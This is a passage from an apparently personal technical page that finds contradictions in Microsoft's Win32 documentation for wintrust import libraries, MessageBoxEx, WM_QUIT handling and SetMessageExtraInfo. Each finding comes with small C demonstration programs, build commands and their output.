  2. Create the text file mscat.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <wintrust.h>
    #include <mscat.h>
    
    CRYPTCATATTRIBUTE* WINAPI CryptCATCDFEnumAttributesWithCDFTag(
      _In_ CRYPTCATCDF                  *pCDF,
      _In_ LPWSTR                       pwszMemberTag,
      _In_ CRYPTCATMEMBER               *pMember,
      _In_ CRYPTCATATTRIBUTE            *pPrevAttr,
      _In_ PFN_CDF_PARSE_ERROR_CALLBACK pfnParseError
    );
    
    LPWSTR WINAPI CryptCATCDFEnumMembersByCDFTagEx(
      _In_    CRYPTCATCDF                  *pCDF,
      _Inout_ LPWSTR                       pwszPrevCDFTag,
      _In_    PFN_CDF_PARSE_ERROR_CALLBACK pfnParseError,
      _In_    CRYPTCATMEMBER               **ppMember,
      _In_    BOOL                         fContinueOnError,
      _In_    LPVOID                       pvReserved
    );
    
    FARPROC	mscat[] = {CryptCATAdminAcquireContext,
    #if _WIN32_WINNT > 0x0601
    	           CryptCATAdminAcquireContext2,
    #endif
    	           CryptCATAdminAddCatalog,
    	           CryptCATAdminCalcHashFromFileHandle,
    #if _WIN32_WINNT > 0x0601
    	           CryptCATAdminCalcHashFromFileHandle2,
    #endif
    	           CryptCATAdminReleaseCatalogContext,
    	           CryptCATAdminReleaseContext,
    	           CryptCATAdminRemoveCatalog,
    	           CryptCATAdminResolveCatalogPath,
    	           CryptCATCatalogInfoFromContext,
    	           CryptCATCDFEnumAttributesWithCDFTag,
    	           CryptCATCDFEnumMembersByCDFTagEx,
    	           CryptCATClose,
    	           CryptCATEnumerateAttr,
    	           CryptCATEnumerateCatAttr,
    	           CryptCATGetMemberInfo,
    	           CryptCATOpen,
    	           IsCatalogFile};
  3. Compile and link the source file mscat.c created in step 2. to show that the associated import library Wintrust.lib can be linked statically:

    SET CL=/W4 /Zl
    SET LINK=/DLL /NODEFAULTLIB /NOENTRY
    CL.EXE mscat.c wintrust.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    mscat.c
    c:\program files\microsoft sdks\windows\v7.1\include\mssip.h(92) : warning C4201 : nonstandard extension used : nameless struct/union
    mscat.c(31) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'HCATINFO (__stdcall *)(HCATADMIN,PWSTR,PWSTR,DWORD)'
    mscat.c(44) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATATTRIBUTE *(__stdcall *)(HANDLE,CRYPTCATMEMBER *,CRYPTCATATTRIBUTE *)'
    mscat.c(45) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATATTRIBUTE *(__stdcall *)(HANDLE,CRYPTCATATTRIBUTE *)'
    mscat.c(46) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATMEMBER *(__stdcall *)(HANDLE,LPWSTR)'
    mscat.c(47) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'HANDLE (__stdcall *)(LPWSTR,DWORD,HCRYPTPROV,DWORD,DWORD)'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DLL /NODEFAULTLIB /NOENTRY
    /out:mscat.exe
    mscat.obj
    wintrust.lib
    OUCH⁴: contrary to the highlighted statements of their documentations cited above, these 18 Win32 functions can be linked statically with their import library wintrust.lib!
Note: a repetition of this falsification in the 64-bit development environment is left as an exercise to the reader.

Blunder № 5

The documentation for both of the Win32 functions OpenPersonalTrustDBDialog() and OpenPersonalTrustDBDialogEx() states since 2003:
Note This function has no associated header file or import library. You must define the function yourself and use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.

[…]

Requirement Value
Header wintrust.h
DLL Wintrust.dll
Ouch¹: the highlighted reference to the header file wintrust.h in the Requirements section but contradicts the highlighted statement This function has no associated header file or import library. given in the text!

The documentation for both of the Win32 functions WintrustGetRegPolicyFlags() and WintrustSetRegPolicyFlags() states since 2001:

Note This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.

[…]

Requirement Value
Header wintrust.h
DLL Wintrust.dll
The documentation for the Win32 function WTHelperCertFindIssuerCertificate() states since 2001:

Note

This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.

[…]

Requirement Value
DLL Wintrust.dll
Ouch²: no header file is specified in the Requirements section!

The documentation for each of the Win32 functions WintrustAddActionID(), WintrustLoadFunctionPointers(), WintrustRemoveActionID(), WintrustSetDefaultIncludePEPageHashes() WTHelperCertIsSelfSigned(), WTHelperGetProvCertFromChain(), WTHelperGetProvPrivateDataFromChain(), WTHelperGetProvSignerFromChain() and WTHelperProvDataFromStateData() states since 2001:

This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.

[…]

Requirement Value
Header wintrust.h
Library Wintrust.lib
DLL Wintrust.dll
Ouch³: the highlighted reference to the import library Wintrust.lib in the Requirements section but contradicts the highlighted statement This function has no associated import library. given in the text!

Falsification

Perform the following 3 simple steps to prove the documentation cited above misleading and wrong.
  1. Determine whether the highlighted statement This function has no associated import library. is true – or false:

    FOR %? IN (Wintrust.lib) DO SET WINTRUST=%~$LIB:?
    LINK.EXE /DUMP /EXPORTS /OUT:wintrust.txt "%WINTRUST%"
    FIND.EXE "OpenPersonalTrustDBDialog" wintrust.txt
    FIND.EXE "Wintrust" wintrust.txt
    FIND.EXE "WTHelper" wintrust.txt
    Note: the environment variable LIB is set by the Windows Software Development Kit for Windows 7 – see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    SET WINTRUST=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Wintrust.Lib
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    ---------- WINTRUST.TXT
                      _OpenPersonalTrustDBDialog@4
                      _OpenPersonalTrustDBDialogEx@12
    
    ---------- WINTRUST.TXT
                      _WintrustAddActionID@12
                      _WintrustAddDefaultForUsage@8
                      _WintrustCertificateTrust@4
                      _WintrustGetDefaultForUsage@12
                      _WintrustGetRegPolicyFlags@4
                      _WintrustLoadFunctionPointers@8
                      _WintrustRemoveActionID@4
                      _WintrustSetDefaultIncludePEPageHashes@4
                      _WintrustSetRegPolicyFlags@4
    
    ---------- WINTRUST.TXT
                      _WTHelperCertCheckValidSignature@4
                      _WTHelperCertIsSelfSigned@8
                      _WTHelperCheckCertUsage@8
                      _WTHelperGetAgencyInfo@12
                      _WTHelperGetFileHandle@4
                      _WTHelperGetFileHash@24
                      _WTHelperGetFileName@4
                      _WTHelperGetKnownUsages@8
                      _WTHelperGetProvCertFromChain@8
                      _WTHelperGetProvPrivateDataFromChain@8
                      _WTHelperGetProvSignerFromChain@16
                      _WTHelperIsInRootStore@8
                      _WTHelperOpenKnownStores@4
                      _WTHelperProvDataFromStateData@4
    OUCH: contrary to the highlighted statements of their documentations cited above, not just the Windows Software Development Kit for Windows 7 but ships with an associated import library Wintrust.lib for these 13 Win32 functions!
  2. Create the text file wintrust.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <wintrust.h>
    
    FARPROC	wintrust[] = {OpenPersonalTrustDBDialog,
    	              OpenPersonalTrustDBDialogEx,
    	              WintrustAddActionID,
    	              WintrustGetRegPolicyFlags,
    	              WintrustLoadFunctionPointers,
    	              WintrustRemoveActionID,
    	              WintrustSetDefaultIncludePEPageHashes,
    	              WintrustSetRegPolicyFlags,
    	              WTHelperCertIsSelfSigned,
    	              WTHelperGetProvCertFromChain,
    	              WTHelperGetProvPrivateDataFromChain,
    	              WTHelperGetProvSignerFromChain,
    	              WTHelperProvDataFromStateData};
  3. Compile and link the source file wintrust.c created in step 2. to show that the associated import library Wintrust.lib can be linked statically:

    SET CL=/W4 /Zl
    SET LINK=/DLL /NODEFAULTLIB /NOENTRY
    CL.EXE wintrust.c wintrust.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    wintrust.c
    wintrust.c(12) : warning C4133: 'initializing' : incompatible types - from 'void (__stdcall *)(DWORD *)' to 'FARPROC'
    wintrust.c(15) : warning C4133: 'initializing' : incompatible types - from 'void (__stdcall *)(BOOL)' to 'FARPROC'
    wintrust.c(18) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_CERT *(__stdcall *)(CRYPT_PROVIDER_SGNR *,DWORD)'
    wintrust.c(19) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_PRIVDATA *(__stdcall *)(CRYPT_PROVIDER_DATA *,GUID *)'
    wintrust.c(20) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_SGNR *(__stdcall *)(CRYPT_PROVIDER_DATA *,DWORD,BOOL,DWORD)'
    wintrust.c(21) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_DATA *(__stdcall *)(HANDLE)'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DLL /NODEFAULTLIB /NOENTRY
    /out:wintrust.exe
    wintrust.obj
    wintrust.lib
    OUCH: contrary to the highlighted statements of their documentations cited above, these 13 Win32 functions can be linked statically with their import library wintrust.lib!
Note: a repetition of this falsification in the 64-bit development environment is left as an exercise to the reader.

Blunder № 6

The documentation for the Win32 function MessageBoxEx() states:
Creates, displays, and operates a message box. The message box contains an application-defined message and title, plus any combination of predefined icons and push buttons. The buttons are in the language of the system user interface.

Currently MessageBoxEx and MessageBox work the same way.

[…]

[in] wLanguageId

The language for the text displayed in the message box button(s). Specifying a value of zero (0) indicates to display the button text in the default system language. If this parameter is MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), the current language associated with the calling thread is used.

To specify a language other than the current language, use the MAKELANGID macro to create this parameter. For more information, see MAKELANGID.

[…]

Requirement Value
Header winuser.h (include Windows.h)
Library user32.lib
DLL user32.dll
OUCH¹: the first and last highlighted statements of the documentation cited above but contradict each other – if MessageBoxEx() works like MessageBox() it must ignore (the value of) its wLanguageId parameter!

OUCH²: contrary to the second highlighted statement of the documentation cited above, the default system language is but specified with MAKELANGID(LANG_NEUTRAL, SUBLANG_SYS_DEFAULT) – 0 alias MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL) specifies the current language of the calling thread!

Note: the header file winuser.h shipped with the Platform SDK for Windows XP as well as later versions defines the preprocessor macro IDTIMEOUT for one of the return values of the MessageBox*() functions, and user32.dll plus its import library user32.lib provide yet another but undocumented function to display a message box – MessageBoxTimeout().

Demonstration

Perform the following 3 simple steps to demonstrate its use and true behaviour.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #if _WIN32_WINNT > 0x0500
    __declspec(deprecated("undocumented interface, use at your own risk"))
    __declspec(dllimport)
    INT	WINAPI	MessageBoxTimeoutA(HWND   hwnd,
    		                   LPCSTR lpText,
    		                   LPCSTR lpCaption,
    		                   UINT   uType,
    		                   LANGID wLanguageId,
    		                   DWORD  dwMilliseconds);
    
    __declspec(deprecated("undocumented interface, use at your own risk"))
    __declspec(dllimport)
    INT	WINAPI	MessageBoxTimeoutW(HWND    hwnd,
    		                   LPCWSTR lpText,
    		                   LPCWSTR lpCaption,
    		                   UINT    uType,
    		                   LANGID  wLanguageId,
    		                   DWORD   dwMilliseconds);
    #define MB_INFINITE	0UL
    
    #ifdef UNICODE
    #define MessageBoxTimeout	MessageBoxTimeoutW
    #else
    #define MessageBoxTimeout	MessageBoxTimeoutA
    #endif
    #endif // _WIN32_WINNT
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	INT	id = MessageBoxTimeout(HWND_DESKTOP,
    		                       L"Supercalifragilisticexpialidocious",
    		                       L"Blunder",
    		                       MB_YESNOCANCEL,
    		                       MAKELANGID(LANG_INVARIANT, SUBLANG_NEUTRAL),
    		                       0x815UL);
    	if (id == 0)
    		ExitProcess(GetLastError());
    
    	if (id == IDTIMEOUT)
    		ExitProcess(ERROR_TIMEOUT);
    
    	ExitProcess(-id);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/we4013 /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(44) : warning C4996: 'MessageBoxTimeoutW': undocumented interface, use at your own risk
    blunder.c(21) : see declaration of 'MessageBoxTimeoutW'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    [Screen shot of message box with 2,069 second timeout on german Windows 7]

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%

    0x5b4 (WIN32: 1460 ERROR_TIMEOUT) -- 1460 (1460)
    Error message text: This operation returned because the timeout period expired.
    CertUtil: -error command completed successfully.
    OUCH: despite the invariant language requested with the wLanguageId parameter the button texts are but in the current language of the calling thread!
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 7

The MSDN article About Messages and Message Queues states:
The system passes all input for an application to the various windows in the application. Each window has a function, called a window procedure, that the system calls whenever it has input for the window. The window procedure processes the input and returns control to the system. […]

With the exception of the WM_PAINT message, the WM_TIMER message, and the WM_QUIT message, the system always posts messages at the end of a message queue. This ensures that a window receives its input messages in the proper first in, first out (FIFO) sequence. The WM_PAINT message, the WM_TIMER message, and the WM_QUIT message, however, are kept in the queue and are forwarded to the window procedure only when the queue contains no other messages. In addition, multiple WM_PAINT messages for the same window are combined into a single WM_PAINT message, consolidating all invalid parts of the client area into a single area. Combining WM_PAINT messages reduces the number of times a window must redraw the contents of its client area.

The documentation for the WM_QUIT message but specifies:
Indicates a request to terminate an application, and is generated when the application calls the PostQuitMessage function. This message causes the GetMessage function to return zero.

[…]

This message does not have a return value because it causes the message loop to terminate before the message is sent to the application's window procedure.

[…]

The WM_QUIT message is not associated with a window and therefore will never be received through a window's window procedure. It is retrieved only by the GetMessage or PeekMessage functions.

OUCH⁰: the highlighted statements of both documentations contradict each other – the first documentation cited above is wrong, the WM_QUIT message is not forwarded to the window procedure!

The documentation for the Win32 function PostQuitMessage() states:

Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.
void PostQuitMessage(
  [in] int nExitCode
)

[in] nExitCode

The application exit code. This value is used as the wParam parameter of the WM_QUIT message.

The documentation for the Win32 function DefWindowProc() states:
Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.
The documentation for the WM_NCDESTROY message specifies:
Notifies a window that its nonclient area is being destroyed. The DestroyWindow function sends the WM_NCDESTROY message to the window following the WM_DESTROY message. WM_DESTROY is used to free the allocated memory object associated with the window.

The WM_NCDESTROY message is sent after the child windows have been destroyed. In contrast, WM_DESTROY is sent before the child windows are destroyed.

[…]

If an application processes this message, it should return zero.

The documentation for the WM_DESTROY message specifies:
Sent when a window is being destroyed. It is sent to the window procedure of the window being destroyed after the window is removed from the screen.

This message is sent first to the window being destroyed and then to the child windows (if any) as they are destroyed. During the processing of the message, it can be assumed that all child windows still exist.

[…]

If an application processes this message, it should return zero.

The documentation for the WM_CLOSE message specifies:
Sent as a signal that a window or an application should terminate.

[…]

If an application processes this message, it should return zero.

[…]

By default, the DefWindowProc function calls the DestroyWindow function to destroy the window.

The documentation for the WM_NCCREATE message states:
Sent prior to the WM_CREATE message when a window is first created.

[…]

If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.

Falsification

Perform the following 8 simple steps to show the blunder and prove the highlighted statements of the documentations cited above misleading and wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifdef BLUNDER
    LRESULT	WINAPI	WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
    {
    	switch (uMessage)
    	{
    #if BLUNDER == 1
    	case WM_NCCREATE:
    
    		// CAVEAT: DefWindowProc() must be called in response to the
    		//          WM_NCCREATE message to register the window title!
    
    		return (LRESULT) TRUE;
    #endif
    //	case WM_CREATE:
    //	case WM_DESTROY:
    //	case WM_NULL:
    //
    //		return (LRESULT) FALSE;
    
    	case WM_NCDESTROY:
    
    		PostQuitMessage(0);
    	}
    
    	return DefWindowProc(hWindow, uMessage, wParam, lParam);
    }
    #endif // BLUNDER
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    const	WNDCLASSEX	wce = {sizeof(wce),
    			       CS_DBLCLKS,
    #ifndef BLUNDER	// CAVEAT: DefWindowProc() does not call PostQuitMessage()
    		//          in response to the WM_DESTROY message!
    			       DefWindowProc,
    #else
    			       WindowProc,
    #endif
    			       0, 0,
    			       (HINSTANCE) &__ImageBase,
    			       (HICON) NULL,
    			       (HCURSOR) NULL,
    			       (HBRUSH) COLOR_BACKGROUND,
    			       (LPCWSTR) NULL,
    			       L"Blunder Demonstration Class",
    			       (HICON) NULL};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError;
    	LRESULT lResult;
    	BOOL	bResult;
    	MSG	msg;
    
    	if (RegisterClassEx(&wce) == (ATOM) 0)
    		dwError = GetLastError();
    	else
    	{
    		if (CreateWindowEx(WS_EX_APPWINDOW,
    		                   wce.lpszClassName,
    		                   L"Blunder Demonstration Window",
    		                   WS_OVERLAPPEDWINDOW | WS_VISIBLE,
    		                   CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
    		                   (HWND) NULL,
    		                   (HMENU) NULL,
    		                   wce.hInstance,
    		                   NULL) == NULL)
    			dwError = GetLastError();
    		else
    		{
    			while ((bResult = GetMessage(&msg, (HWND) NULL, WM_NULL, WM_NULL)) > 0)
    			{
    				if (TranslateMessage(&msg))
    					;
    
    				lResult = DispatchMessage(&msg);
    			}
    
    			dwError = bResult < 0 ? GetLastError() : msg.wParam;
    		}
    
    		if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(43) : warning C4232: nonstandard extension used : 'lpfnWndProc' : address of dllimport 'DefWindowProcW' is not static, identity not guaranteed
    	C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\winuser.h(3640) : see declaration of 'DefWindowProcW'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and close its window to demonstrate the first blunder:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    OUCH¹: although the application window titled Blunder Demonstration Window was closed, the Command Processor waits for the child process to terminate – the Win32 function DefWindowProc() does not provide the typical response to the WM_DESTROY message, i.e. it does not call the PostQuitMessage() function to send the WM_QUIT message required to terminate the message loop of the child process!
  4. Press the Ctrl C keyboard shortcut to terminate the console application.

    ^C
    0xc000013a (NT: 0xc000013a STATUS_CONTROL_C_EXIT) -- 3221225786 (-1073741510)
    Error message text: {Application Exit by CTRL+C}
    The application terminated as a result of a CTRL+C.
    CertUtil: -error command completed successfully.
  5. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  6. Execute the console application blunder.exe built in step 5. to demonstrate the second blunder, then close its window:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    [Screen shot of untitled application window on Windows 10] [Screen shot of untitled application window on Windows 7] [Screen shot of untitled application window on Windows XP]
    0
    OUCH²: the application window is displayed without its title Blunder Demonstration Window – contrary to the highlighted statement of the last documentation cited above, an application’s WindowProc() function must not return TRUE in response to the WM_NCCREATE message, but needs to call the DefWindowProc() function instead!
  7. Compile and link the source file blunder.c created in step 1. a third time, now with the preprocessor macro BLUNDER defined as 0:

    CL.EXE /DBLUNDER=0 blunder.c kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  8. Execute the console application blunder.exe built in step 7. to demonstrate its proper function, then close its window:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    0
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 8

The documentation for the Win32 function SetMessageExtraInfo() states:
Sets the extra message information for the current thread. Extra message information is an application- or driver-defined value associated with the current thread's message queue. An application can use the GetMessageExtraInfo function to retrieve a thread's extra message information.
LPARAM SetMessageExtraInfo(
  [in] LPARAM lParam
);
[in] lParam

The value to be associated with the current thread.

The return value is the previous value associated with the current thread.

The documentation for the Win32 function GetMessageExtraInfo() states:
Retrieves the extra message information for the current thread. Extra message information is an application- or driver-defined value associated with the current thread's message queue.
LPARAM GetMessageExtraInfo();

Falsification

Perform the following 3 simple steps to show the blunder and prove the highlighted statements of both documentations cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    LRESULT	WINAPI	WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
    {
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	PrintConsole(hError,
    	             L"SetMessageExtraInfo(…) returned %Id\n",
    	             SetMessageExtraInfo(GetMessageExtraInfo() - 1));
    
    	switch (uMessage)
    	{
    	case WM_PAINT:
    
    		if (DestroyWindow(hWindow))
    			break;
    
    		SetWindowLong(hWindow, GWL_USERDATA, GetLastError());
    
    		PrintConsole(hError,
    		             L"DestroyWindow() returned error %lu\n",
    		             GetWindowLong(hWindow, GWL_USERDATA));
    	case WM_NCDESTROY:
    
    		PostQuitMessage(GetWindowLong(hWindow, GWL_USERDATA));
    	}
    
    	return DefWindowProc(hWindow, uMessage, wParam, lParam);
    }
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    const	WNDCLASSEX	wce = {sizeof(wce),
    			       CS_DBLCLKS,
    			       WindowProc,
    			       0, 0,
    			       (HINSTANCE) &__ImageBase,
    			       (HICON) NULL,
    			       (HCURSOR) NULL,
    			       (HBRUSH) COLOR_BACKGROUND,
    			       (LPCWSTR) NULL,
    			       L"Blunder Demonstration Class",
    			       (HICON) NULL};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    	DWORD	dwError;
    	LRESULT lResult;
    	BOOL	bResult;
    	MSG	msg;
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		if (RegisterClassEx(&wce) == (ATOM) 0)
    			PrintConsole(hError,
    			             L"RegisterClassEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			if (CreateWindowEx(WS_EX_APPWINDOW,
    			                   wce.lpszClassName,
    			                   L"Blunder Demonstration Window",
    			                   WS_OVERLAPPEDWINDOW | WS_VISIBLE,
    			                   CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
    			                   (HWND) NULL,
    			                   (HMENU) NULL,
    			                   wce.hInstance,
    			                   NULL) == NULL)
    				PrintConsole(hError,
    				             L"CreateWindowEx() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				PrintConsole(hError,
    				             L"SetMessageExtraInfo(123456789) returned %Id\n",
    				             SetMessageExtraInfo((LPARAM) 123456789));
    
    				while ((bResult = GetMessage(&msg, (HWND) NULL, WM_NULL, WM_NULL)) > 0)
    				{
    					if (TranslateMessage(&msg))
    						;
    
    					lResult = DispatchMessage(&msg);
    				}
    
    				if (bResult < 0)
    					PrintConsole(hError,
    					             L"GetMessage() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					dwError = msg.wParam;
    
    				PrintConsole(hError,
    				             L"GetMessageExtraInfo() returned %Id\n",
    				             GetMessageExtraInfo());
    			}
    
    			if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
    				PrintConsole(hError,
    				             L"UnregisterClass() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    SetMessageExtraInfo(…) returned 0
    SetMessageExtraInfo(…) returned -1
    SetMessageExtraInfo(…) returned -2
    SetMessageExtraInfo(…) returned -3
    SetMessageExtraInfo(…) returned -4
    SetMessageExtraInfo(…) returned -5
    SetMessageExtraInfo(…) returned -6
    SetMessageExtraInfo(…) returned -7
    SetMessageExtraInfo(…) returned -8
    SetMessageExtraInfo(…) returned -9
    SetMessageExtraInfo(…) returned -10
    SetMessageExtraInfo(…) returned -11
    SetMessageExtraInfo(…) returned -12
    SetMessageExtraInfo(…) returned -13
    SetMessageExtraInfo(…) returned -14
    SetMessageExtraInfo(…) returned -15
    SetMessageExtraInfo(…) returned -16
    SetMessageExtraInfo(…) returned -17
    SetMessageExtraInfo(…) returned -18
    SetMessageExtraInfo(…) returned -19
    SetMessageExtraInfo(123456789) returned -20
    SetMessageExtraInfo(…) returned 0
    SetMessageExtraInfo(…) returned -1
    SetMessageExtraInfo(…) returned 0
